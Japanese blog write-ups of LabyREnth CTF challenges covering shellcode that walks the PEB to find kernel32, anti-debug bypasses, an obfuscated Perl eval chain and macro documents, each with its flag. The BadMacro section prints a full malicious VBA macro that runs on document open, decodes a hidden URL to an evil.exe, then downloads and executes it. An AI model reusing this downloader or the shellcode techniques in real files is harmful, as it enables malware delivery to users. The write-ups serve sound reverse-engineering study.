shellcode

1. はじめに

 LabyREnth CTF Windows Track のLv6の問題 (Shellcode) にて. 覚書として.

 

 

2. shllcode

 Ambrosius.exeを対象に行う.

f:id:kmdnet:20160901115854p:plain

> cdb Ambrosius.exe

 

0:000> dt _TEB
ntdll!_TEB
 +0x000 NtTib : _NT_TIB
 +0x01c EnvironmentPointer : Ptr32 Void
 +0x020 ClientId : _CLIENT_ID
 +0x028 ActiveRpcHandle : Ptr32 Void
 +0x02c ThreadLocalStoragePointer : Ptr32 Void
 +0x030 ProcessEnvironmentBlock : Ptr32 _PEB  (省略)

 

0:000> dt _PEB -r2
ntdll!_PEB
 +0x000 InheritedAddressSpace : UChar
 +0x001 ReadImageFileExecOptions : UChar
 +0x002 BeingDebugged : UChar
 +0x003 BitField : UChar
 +0x003 ImageUsesLargePages : Pos 0, 1 Bit
 +0x003 IsProtectedProcess : Pos 1, 1 Bit
 +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
 +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
 +0x003 IsPackagedProcess : Pos 4, 1 Bit
 +0x003 IsAppContainer : Pos 5, 1 Bit
 +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
 +0x003 SpareBits : Pos 7, 1 Bit
 +0x004 Mutant : Ptr32 Void
 +0x008 ImageBaseAddress : Ptr32 Void
 +0x00c Ldr : Ptr32 _PEB_LDR_DATA
    +0x000 Length : Uint4B
    +0x004 Initialized : UChar
    +0x008 SsHandle : Ptr32 Void
    +0x00c InLoadOrderModuleList : _LIST_ENTRY
       +0x000 Flink : Ptr32 _LIST_ENTRY
       +0x004 Blink : Ptr32 _LIST_ENTRY
    +0x014 InMemoryOrderModuleList : _LIST_ENTRY
       +0x000 Flink : Ptr32 _LIST_ENTRY
       +0x004 Blink : Ptr32 _LIST_ENTRY 
    +0x01c InInitializationOrderModuleList : _LIST_ENTRY
       +0x000 Flink : Ptr32 _LIST_ENTRY
       +0x004 Blink : Ptr32 _LIST_ENTRY
    +0x024 EntryInProgress : Ptr32 Void
    +0x028 ShutdownInProgress : UChar
    +0x02c ShutdownThreadId : Ptr32 Void  (省略)

 

0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
 +0x000 InLoadOrderLinks : _LIST_ENTRY
 +0x008 InMemoryOrderLinks : _LIST_ENTRY
 +0x010 InInitializationOrderLinks : _LIST_ENTRY
 +0x018 DllBase : Ptr32 Void
 +0x01c EntryPoint : Ptr32 Void
 +0x020 SizeOfImage : Uint4B  (省略)

 

0:000> r @$t0 = poi(poi(fs:30)+0C)+14
0:000> dt _LDR_DATA_TABLE_ENTRY poi(@$t0)-8
ntdll!_LDR_DATA_TABLE_ENTRY
 +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x4e2b60 - 0x776fab4c ]
 +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x4e2b68 - 0x776fab54 ]
 +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
 +0x018 DllBase : 0x00400000 Void
 +0x01c EntryPoint : 0x004010e7 Void
 +0x020 SizeOfImage : 0x2000
 +0x024 FullDllName : _UNICODE_STRING "C:\Users\akabane\Desktop\Ambrosius.exe"
 +0x02c BaseDllName : _UNICODE_STRING "Ambrosius.exe"  (省略)

 

0:000> dt _LDR_DATA_TABLE_ENTRY poi(poi(@$t0))-8
ntdll!_LDR_DATA_TABLE_ENTRY
 +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x4e3028 - 0x4e2c60 ]
 +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x4e3030 - 0x4e2c68 ]
 +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4e3368 - 0x776fab5c ]
 +0x018 DllBase : 0x775f0000 Void
 +0x01c EntryPoint : (null)
 +0x020 SizeOfImage : 0x17b000
 +0x024 FullDllName : _UNICODE_STRING "C:\WINDOWS\SYSTEM32\ntdll.dll"
 +0x02c BaseDllName : _UNICODE_STRING "ntdll.dll"  (省略)

 

0:000> dt _LDR_DATA_TABLE_ENTRY poi(poi(poi(@$t0)))-8
ntdll!_LDR_DATA_TABLE_ENTRY
 +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x4e3358 - 0x4e2b60 ]
 +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x4e3360 - 0x4e2b68 ]
 +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4e3dc8 - 0x4e3368 ]
 +0x018 DllBase : 0x74860000 Void
 +0x01c EntryPoint : 0x74873980 Void
 +0x020 SizeOfImage : 0xe0000
 +0x024 FullDllName : _UNICODE_STRING "C:\WINDOWS\SYSTEM32\KERNEL32.DLL"
 +0x02c BaseDllName : _UNICODE_STRING "KERNEL32.DLL"  (省略)

 これよりDllBaseは0x74860000である.

 

0:000> lm
start end module name
00400000 00402000 image00400000 (deferred)
71c30000 71cc2000 apphelp (deferred)
74860000 74940000 KERNEL32 (deferred)  (省略)

 

 lmコマンド(List Loaded Modules)で確認すると上記したDllBaseとkernel32.dllのアドレスが一致している.

 

 

 つまり最初のコードを以下のように解釈される(説明の都合上番号を振る).

(1) mov eax, large fs:30h
(2) mov eax, [eax+0Ch]
(3) mov eax, [eax+14h]
(4) mov eax, [eax]
(5) mov eax, [eax]
(6) mov eax, [eax+10h] 
(7) retn

 

(1) fs:30h -> PEB

(2) PEB -> Ldr

(3) Ldr -> InMemoryOrderModuleList.Flink

(4),(5)InMemoryOrderModuleList.Flink

(6) _LDR_DATA_TABLE_ENTRY -> DllBase

 

 Cで記述すると以下のようになる.

 

 

 なお最後にDllBaseではなくReserved2[0]を呼び出しているのは, FlinkによりLDR_DATA_TABLE_ENTRYが+0x8だけずれているからである.

 

 

 

f:id:kmdnet:20160912145121p:plain

 これはAPIのハッシュを計算している関数である. 引数としてIMAGE_EXPORT_DIRECTORYのAddressOfNamesをとる.

 

typedef struct _IMAGE_EXPORT_DIRECTORY {
 DWORD Characteristics;
 DWORD TimeDateStamp;
 WORD MajorVersion;
 WORD MinorVersion;
 DWORD Name;
 DWORD Base;
 DWORD NumberOfFunctions;
 DWORD NumberOfNames;
 DWORD AddressOfFunctions; // RVA from base of image
 DWORD AddressOfNames; // RVA from base of image
 DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

 

 APIハッシュの計算するスクリプトを以下に記す. IDAに読み込ませるために,列挙型を定義している.

 

  IDAにAPIハッシュを読み込ませる

 ・> python api_hash.py C:\Windows\System32\kernel32.dll > api_hash.h

 ・FIle -> Load file -> Parse C header file ... -> api_hash.h

 ・[Enum] -> Define a new enumeration type (Ins) -> Add standard enum by enum name -> ヘッダファイルを選択

 ・APIハッシュ値を選択 -> Symbolic constant -> hash_kernel32_***

 

f:id:kmdnet:20160915195555p:plain

 

 

3. 補足

 .cls : clear all of the text from the Debugger Command window

 

 

4. 参考

Harmony Security: Retrieving Kernel32's Base Address

PEB_LDR_DATA structure (Windows)

Windowsで電卓を起動するシェルコードを書いてみる - ももいろテクノロジー

リバースエンジニアリング入門(1):シェルコードから始めるマルウェア解析 (1/2) - @IT

 

kmdnet

LabyREnth CTF (Windows Lv3)

1. はじめに

LabyREnth CTF - くじらとたぬきと同じ.

 

2. writeup

・Squirtle (Windows Lv3)

zipを解凍する(Pass : infected)とSquirtleChallenge.exeが出てくる.

 

f:id:kmdnet:20160824155807p:plain

 

 基本的にAnti Debugの問題. それぞれをデバッガで消していく or 条件を合わせると解ける. 最終的に以下の様に出力をさせれば良い.

 

Type the password:
incorrect
You typed: incorrect
Squirtle Happy! You got the password!

Squirtle is getting excited!!!
 Congratz Debugger WindowClass Not Found

Squirtle is glad you are watching him now! fs:[30h+2]

Squirtle appreciates you taking the ticks to get to know him.
 TickCount: 613f43

Squirtle likes when things go fast!
 Ticks passed: 2eecb

Squirtle is dancing!
 Congrats! No Debugger Present!

Squirtle is tail whipping because there is no remote debugger!

Yayyy Squirtle is HydroPumping because there are more than 2 CPUs

Congrats! Squirtle is TailWhipping because there is more than 1024 RAM

Squirtle Aqua Jet BLAST! Congrats HV CPU Bit NOT Set

 

 全ての条件を揃えると以下のjpgが作成される.

f:id:kmdnet:20160824154455j:plain

 このjpgの中の2進数をASCIIに変換するとフラグが出てくる.

 

 

FLAG : PAN{Th3_$quirtL3_$qu@d_w@z_bLuffiNg}

 

3. 補足

 Squirtleはゼニガメ, Tail whipはしっぽをふる らしい.  

 

 以下は問題の中で参考にする様に指示のあるURL

https://msdn.microsoft.com/en-us/library/windows/desktop/ms633499(v=vs.85).aspx

http://www.symantec.com/connect/articles/windows-anti-debug-reference

http://researchcenter.paloaltonetworks.com/2015/10/ticked-off-upatre-malwares-simple-anti-analysis-trick-to-defeat-sandboxes/

http://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf

https://msdn.microsoft.com/en-us/library/windows/desktop/ms680345(v=vs.85).aspx

https://msdn.microsoft.com/en-us/library/windows/desktop/ms679280(v=vs.85).aspx

https://www.trustedsec.com/may-2015/bypassing-virtualization-and-sandbox-technologies/

http://artemonsecurity.com/vmde.pdf

 

kmdnet

 

LabyREnth CTF (Unix)

1. はじめに

LabyREnth CTF - くじらとたぬきと同じ.

 

2. writeup

Perl (Unix Lv1)

 zipを解凍する(Pass : infected)とbowie.plが出てくる. 

 

 (一部抜粋)

my $input = ;
$input = trim($input);
if ($input eq (chr(5156 - 5035) . chr(-4615 - -4716) . chr(3162 - 3047))) {
 $a = $a . MIME::Base64::decode("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");

  このように入力を受け入れ一致すればbase64でdecodeを行うという処理を繰り返す.

eval MIME::Base64::decode("...省略...");

 普通にbase64でdecodeを繰り返す中でevalで実行するスクリプトが紛れている. これをbase64でdecodeを行うとまた同じことが行われる. ここで正規表現を用いてbase64の部分を抽出して, eval毎にファイルに分割するプログラムをsep_eval.py, それらをdecodeして合成するプログラムをsolve_perl.pyとした.


 これを実行するとgifが出てくる.

f:id:kmdnet:20160820112458p:plain

 

FLAG : PAN{L3ts_533_h0W_U_deal_w_th1s_little_511CE}

 

kmdnet

 

LabyREnth CTF (Docs)

1. はじめに

 LabyREnth CTF - くじらとたぬきと同じ.

 

2. writeup

・BadMacro (Docs Lv1)

 zipを解凍する(Pass : infected)とchallenge.docが出てくる.

f:id:kmdnet:20160818114912p:plain

 

 challenge.docからVBAを抽出する.

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function QklkhFEQNB(HGKuttPaRM As Variant, UBvkWqzieX As Integer)
Dim gsFEVmmIzO, vSHOfSrEta As String, dHLdiEqdts, eUTAbMoUIA
vSHOfSrEta = ActiveDocument.Variables("ppKzr").Value()
gsFEVmmIzO = ""
dHLdiEqdts = 1
While dHLdiEqdts < UBound(HGKuttPaRM) + 2
eUTAbMoUIA = dHLdiEqdts Mod Len(vSHOfSrEta): If eUTAbMoUIA = 0 Then eUTAbMoUIA = Len(vSHOfSrEta)
gsFEVmmIzO = gsFEVmmIzO + Chr(Asc(Mid(vSHOfSrEta, eUTAbMoUIA + UBvkWqzieX, 1)) Xor CInt(HGKuttPaRM(dHLdiEqdts - 1)))
dHLdiEqdts = dHLdiEqdts + 1
Wend
QklkhFEQNB = gsFEVmmIzO
End Function
Public Function BkAIuNwQNDkohBY()
twOvwCSTPL = QklkhFEQNB(Array(5, 5, 27, 65, 89, 98, 85, 86, 71, 75, 66, 92, 95, 98, 67, 64, 89, 83, 84, 95, 26, _
78, 116, 78, 91, 5, 116, 32, 72, 2, 33, 48, 10, 29, 61, 8, 37, 20, 63, 44, 1, _
12, 62, 38, 47, 52, 99, 57, 5, 121, 89, 37, 65, 32, 32, 11, 98, 42, 58, 32, 28, _
9, 3, 117, 85, 4, 57, 10, 94, 0, 16, 8, 28, 42, 30, 121, 71, 6, 8, 9, 37, _
2, 23, 34, 21, 120, 54, 7, 40, 35, 75, 50, 87, 3, 55, 47, 99, 52, 13, 0, 42, _
30, 27, 126, 59, 3, 123, 29, 52, 44, 53, 29, 15, 50, 12, 35, 8, 48, 89, 54, 27, _
62, 28, 8, 36, 49, 119, 104, 14, 5, 64, 34, 43, 22, 71, 5, 46, 7, 66, 42, 0, _
1, 113, 97, 83, 31, 45, 95, 111, 31, 40, 51), 24)
UkIWIEtqCF = QklkhFEQNB(Array(42, 115, 2), 188)
Dim xHttp: Set xHttp = CreateObject(QklkhFEQNB(Array(116, 7, 6, 74, 60, 43, 42, 36, 64, 70, 110, 27, 28, 12, 12, 17, 23), 0))
Dim bStrm: Set bStrm = CreateObject(QklkhFEQNB(Array(15, 32, 32, 53, 35, 89, 22, 25, 65, 53, 51, 26), 176))
xHttp.Open UkIWIEtqCF, twOvwCSTPL, False
xHttp.Send
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17), 2
End With
Shell (QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17))
End Function
Private Sub Document_Open()
If ActiveDocument.Variables("ppKzr").Value <> "toto" Then
BkAIuNwQNDkohBY
ActiveDocument.Variables("ppKzr").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub

 

 しかしこのままでは可読性が悪いので変数名等を書き換えて整形する. 

 

 

 これをVBE上で実行する. ただしHTTPリクエストとシェル実行はされたくないのでコメントアウトして, Debug.Printを用いてイミディエイトウインドウに出力した.

f:id:kmdnet:20160819101747p:plain

 http://10.1.33.7/b64/x58/MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU=/evil.exe に注目してb64とx58という文字列があるので, base64とXOR 0x58と予想してPythonでデコードするスクリプトを書いた.

 

 

FLAG : PAN{ViZib13_0nly2th0s3_Wh0_Kn0w_wh3r32l00k}

 

 

・CrackDoc (Docs Lv2)

zipを解凍する(Pass : infected)とCrackDoc.docが出てくる.

f:id:kmdnet:20160819104540p:plain

f:id:kmdnet:20160819104620p:plain

 UserFormにパスワードを入力すれば良い. 同様にVBAを抽出する.

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{8AF7E01A-2331-4925-95C1-AA63132A39D5}{BF4AE4DE-16B1-4C4B-ABB6-3A501B9C5B0F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub button_Click()
    x = suchcrypto(key.Text, "General Vidal")
    If x = "171,184,42,184,88,26,47,154,20,219,203,130,52,19,180,214,156,94,186,74,30,248,119,235,139,130,175,141,179,197,8,204,252," Then
        MsgBox "Wow. Good Job! Such crack."
    Else
        MsgBox "U can do. Try harder..."
    End If
End Sub

Function suchcrypto(sMessage, strKey)
    Dim kLen, x, y, i, j, temp
    Dim s(256), k(256)
    kLen = Len(strKey)
    For i = 0 To 255
        s(i) = i
        k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))
    Next
    j = 0
    For i = 0 To 255
        j = (j + k(i) + s(i)) Mod 256
        temp = s(i)
        s(i) = s(j)
        s(j) = temp
    Next
    x = 0
    y = 0
    For i = 1 To 3072
        x = (x + 1) Mod 256
        y = (y + s(x)) Mod 256
        temp = s(x)
        s(x) = s(y)
        s(y) = temp
    Next
    For i = 1 To Len(sMessage)
        x = (x + 1) Mod 256
        y = (y + s(x)) Mod 256
        temp = s(x)
        s(x) = s(y)
        s(y) = temp
 
        suchcrypto = suchcrypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
    Next
End Function

 同様にPythonでデコードを行うスクリプトを書く.
 

FLAG : PAN{L4$t_Night_@f@iry_Vizited_M3}

 

3. 補足

 公式にてwriteupが公開されている. 1week毎に1trackずつ公開される模様.

researchcenter.paloaltonetworks.com

 

kmdnet

LabyREnth CTF (Windows)

 

1. はじめに

 LabyREnth CTFに参加した. 解いた問題について残しておく.出題された分野はWindows, Unix, Threat, Mobile, Docs, Randomである.

 

2. writeup 

・AntiD (Windows Lv1)

 zipを解凍する(Pass : infected)とAntiD.exeが出てくる.

f:id:kmdnet:20160815130916p:plain

  実行してみる.

f:id:kmdnet:20160817103045p:plain

f:id:kmdnet:20160815131150p:plain

  UPXでパックされていることが判別できるのでOEPまで処理を進める. 

f:id:kmdnet:20160815132008p:plain

  ここからアンパックしてもよいが,今回はそのまま処理を進める.

 

 以下が入力されたkeyを比較する関数である.

    
012511B0    55              PUSH EBP
012511B1    8BEC            MOV EBP,ESP
012511B3    83EC 38         SUB ESP,38
012511B6    A1 04302501     MOV EAX,DWORD PTR DS:[1253004]
012511BB    33C5            XOR EAX,EBP
012511BD    8945 FC         MOV DWORD PTR SS:[EBP-4],EAX
012511C0    C645 D4 8C      MOV BYTE PTR SS:[EBP-2C],8C
012511C4    C645 D5 F1      MOV BYTE PTR SS:[EBP-2B],0F1
012511C8    C645 D6 53      MOV BYTE PTR SS:[EBP-2A],53
012511CC    C645 D7 A3      MOV BYTE PTR SS:[EBP-29],0A3
012511D0    C645 D8 08      MOV BYTE PTR SS:[EBP-28],8
012511D4    C645 D9 D7      MOV BYTE PTR SS:[EBP-27],0D7
012511D8    C645 DA DC      MOV BYTE PTR SS:[EBP-26],0DC
012511DC    C645 DB 48      MOV BYTE PTR SS:[EBP-25],48
012511E0    C645 DC DB      MOV BYTE PTR SS:[EBP-24],0DB
012511E4    C645 DD 0C      MOV BYTE PTR SS:[EBP-23],0C
012511E8    C645 DE 3A      MOV BYTE PTR SS:[EBP-22],3A
012511EC    C645 DF EE      MOV BYTE PTR SS:[EBP-21],0EE
012511F0    C645 E0 15      MOV BYTE PTR SS:[EBP-20],15
012511F4    C645 E1 22      MOV BYTE PTR SS:[EBP-1F],22
012511F8    C645 E2 C4      MOV BYTE PTR SS:[EBP-1E],0C4
012511FC    C645 E3 E5      MOV BYTE PTR SS:[EBP-1D],0E5
01251200    C645 E4 C9      MOV BYTE PTR SS:[EBP-1C],0C9
01251204    C645 E5 A0      MOV BYTE PTR SS:[EBP-1B],0A0
01251208    C645 E6 A5      MOV BYTE PTR SS:[EBP-1A],0A5
0125120C    C645 E7 0C      MOV BYTE PTR SS:[EBP-19],0C
01251210    C645 E8 D3      MOV BYTE PTR SS:[EBP-18],0D3
01251214    C645 E9 DC      MOV BYTE PTR SS:[EBP-17],0DC
01251218    C645 EA 51      MOV BYTE PTR SS:[EBP-16],51
0125121C    C645 EB C7      MOV BYTE PTR SS:[EBP-15],0C7
01251220    C645 EC 39      MOV BYTE PTR SS:[EBP-14],39
01251224    C645 ED FD      MOV BYTE PTR SS:[EBP-13],0FD
01251228    C645 EE D0      MOV BYTE PTR SS:[EBP-12],0D0
0125122C    C645 EF F8      MOV BYTE PTR SS:[EBP-11],0F8
01251230    C645 F0 3B      MOV BYTE PTR SS:[EBP-10],3B
01251234    C645 F1 E8      MOV BYTE PTR SS:[EBP-F],0E8
01251238    C645 F2 CC      MOV BYTE PTR SS:[EBP-E],0CC
0125123C    C645 F3 03      MOV BYTE PTR SS:[EBP-D],3
01251240    C645 F4 06      MOV BYTE PTR SS:[EBP-C],6
01251244    C645 F5 43      MOV BYTE PTR SS:[EBP-B],43
01251248    C645 F6 F7      MOV BYTE PTR SS:[EBP-A],0F7
0125124C    C645 F7 DA      MOV BYTE PTR SS:[EBP-9],0DA
01251250    C645 F8 7E      MOV BYTE PTR SS:[EBP-8],7E
01251254    C645 F9 65      MOV BYTE PTR SS:[EBP-7],65
01251258    C645 FA AE      MOV BYTE PTR SS:[EBP-6],0AE
0125125C    C645 FB 80      MOV BYTE PTR SS:[EBP-5],80
01251260    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
01251263    50              PUSH EAX
01251264    FF15 D4202501   CALL DWORD PTR DS:[12520D4]              ; ucrtbase.strlen
0125126A    83C4 04         ADD ESP,4
0125126D    83F8 10         CMP EAX,10
01251270    0F85 EB000000   JNZ AntiD.01251361
01251276    C745 C8 0000000>MOV DWORD PTR SS:[EBP-38],0
0125127D    C745 CC 0000000>MOV DWORD PTR SS:[EBP-34],0
01251284    EB 09           JMP SHORT AntiD.0125128F
01251286    8B4D CC         MOV ECX,DWORD PTR SS:[EBP-34]
01251289    83C1 01         ADD ECX,1
0125128C    894D CC         MOV DWORD PTR SS:[EBP-34],ECX
0125128F    837D CC 28      CMP DWORD PTR SS:[EBP-34],28
01251293    0F8D C4000000   JGE AntiD.0125135D
01251299    C745 D0 0000000>MOV DWORD PTR SS:[EBP-30],0
012512A0    8B55 08         MOV EDX,DWORD PTR SS:[EBP+8]
012512A3    0355 CC         ADD EDX,DWORD PTR SS:[EBP-34]
012512A6    0FBE02          MOVSX EAX,BYTE PTR DS:[EDX]
012512A9    83F0 33         XOR EAX,33
012512AC    25 FF000000     AND EAX,0FF
012512B1    8945 D0         MOV DWORD PTR SS:[EBP-30],EAX
012512B4    E8 77FEFFFF     CALL AntiD.01251130
012512B9    0FB6C8          MOVZX ECX,AL
012512BC    85C9            TEST ECX,ECX
012512BE    74 07           JE SHORT AntiD.012512C7
012512C0    32C0            XOR AL,AL
012512C2    E9 9C000000     JMP AntiD.01251363
012512C7    8B55 D0         MOV EDX,DWORD PTR SS:[EBP-30]
012512CA    83C2 44         ADD EDX,44
012512CD    81E2 FF000000   AND EDX,0FF
012512D3    8955 D0         MOV DWORD PTR SS:[EBP-30],EDX
012512D6    E8 85FEFFFF     CALL AntiD.01251160
012512DB    0FB6C0          MOVZX EAX,AL
012512DE    85C0            TEST EAX,EAX
012512E0    74 04           JE SHORT AntiD.012512E6
012512E2    32C0            XOR AL,AL
012512E4    EB 7D           JMP SHORT AntiD.01251363
012512E6    8B4D D0         MOV ECX,DWORD PTR SS:[EBP-30]
012512E9    83F1 55         XOR ECX,55
012512EC    81E1 FF000000   AND ECX,0FF
012512F2    894D D0         MOV DWORD PTR SS:[EBP-30],ECX
012512F5    E8 96FEFFFF     CALL AntiD.01251190
012512FA    0FB6D0          MOVZX EDX,AL
012512FD    85D2            TEST EDX,EDX
012512FF    74 04           JE SHORT AntiD.01251305
01251301    32C0            XOR AL,AL
01251303    EB 5E           JMP SHORT AntiD.01251363
01251305    8B45 D0         MOV EAX,DWORD PTR SS:[EBP-30]
01251308    83E8 66         SUB EAX,66
0125130B    25 FF000000     AND EAX,0FF
01251310    8945 D0         MOV DWORD PTR SS:[EBP-30],EAX
01251313    E8 E8FDFFFF     CALL AntiD.01251100
01251318    0FB6C8          MOVZX ECX,AL
0125131B    85C9            TEST ECX,ECX
0125131D    74 04           JE SHORT AntiD.01251323
0125131F    32C0            XOR AL,AL
01251321    EB 40           JMP SHORT AntiD.01251363
01251323    8B55 C8         MOV EDX,DWORD PTR SS:[EBP-38]
01251326    81E2 FF000000   AND EDX,0FF
0125132C    3355 D0         XOR EDX,DWORD PTR SS:[EBP-30]
0125132F    81E2 FF000000   AND EDX,0FF
01251335    8955 D0         MOV DWORD PTR SS:[EBP-30],EDX
01251338    8B45 CC         MOV EAX,DWORD PTR SS:[EBP-34]
0125133B    0FBE4C05 D4     MOVSX ECX,BYTE PTR SS:[EBP+EAX-2C]
01251340    81E1 FF000000   AND ECX,0FF
01251346    394D D0         CMP DWORD PTR SS:[EBP-30],ECX
01251349    74 04           JE SHORT AntiD.0125134F
0125134B    32C0            XOR AL,AL
0125134D    EB 14           JMP SHORT AntiD.01251363
0125134F    8B55 C8         MOV EDX,DWORD PTR SS:[EBP-38]
01251352    0355 D0         ADD EDX,DWORD PTR SS:[EBP-30]
01251355    8955 C8         MOV DWORD PTR SS:[EBP-38],EDX
01251358  ^ E9 29FFFFFF     JMP AntiD.01251286
0125135D    B0 01           MOV AL,1
0125135F    EB 02           JMP SHORT AntiD.01251363
01251361    32C0            XOR AL,AL
01251363    8B4D FC         MOV ECX,DWORD PTR SS:[EBP-4]
01251366    33CD            XOR ECX,EBP
01251368    E8 98000000     CALL AntiD.01251405
0125136D    8BE5            MOV ESP,EBP
0125136F    5D              POP EBP
01251370    C3              RETN

 これより生成されて比較されるkeyは前後の文字列に依存しないことがわかるので,このkeyをデコードするプログラムをPythonで書いた. なおデバッグを行う際にはkeyを比較する中でアンチデバッグを行う関数が4つあるがそれぞれの戻り値を0に変えてやれば良い.

 

FLAG : PAN{C0nf1agul4ti0ns_0n_4_J08_W3LL_D0N3!}

 

3. 補足

